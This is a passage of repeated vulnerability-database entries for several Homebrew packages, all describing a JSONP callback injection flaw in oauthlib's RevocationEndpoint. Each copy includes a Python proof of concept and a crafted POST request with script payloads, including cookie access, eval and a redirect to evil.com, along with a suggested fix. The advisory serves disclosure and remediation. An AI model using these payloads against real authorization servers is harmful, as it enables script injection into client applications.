using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-azure-cli-CVE-2026-49264",
"modified": "2026-10-02T10:47:17Z",
"published": "2026-09-30T21:04:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-CHARMCRAFT-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 20:47 – Updated: 2026-10-14 09:19 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "charmcraft",
"purl": "pkg:brew/charmcraft"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.4.2_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-charmcraft-CVE-2026-49264",
"modified": "2026-10-14T09:19:50Z",
"published": "2026-09-30T20:47:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-CONFLUENCE-MARKDOWN… (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 21:05 – Updated: 2026-10-14 10:02 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "confluence-markdown-exporter",
"purl": "pkg:brew/confluence-markdown-exporter"
},
"ranges": [
{
"events": [
{
"introduced": "5.4.0"
},
{
"fixed": "5.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, 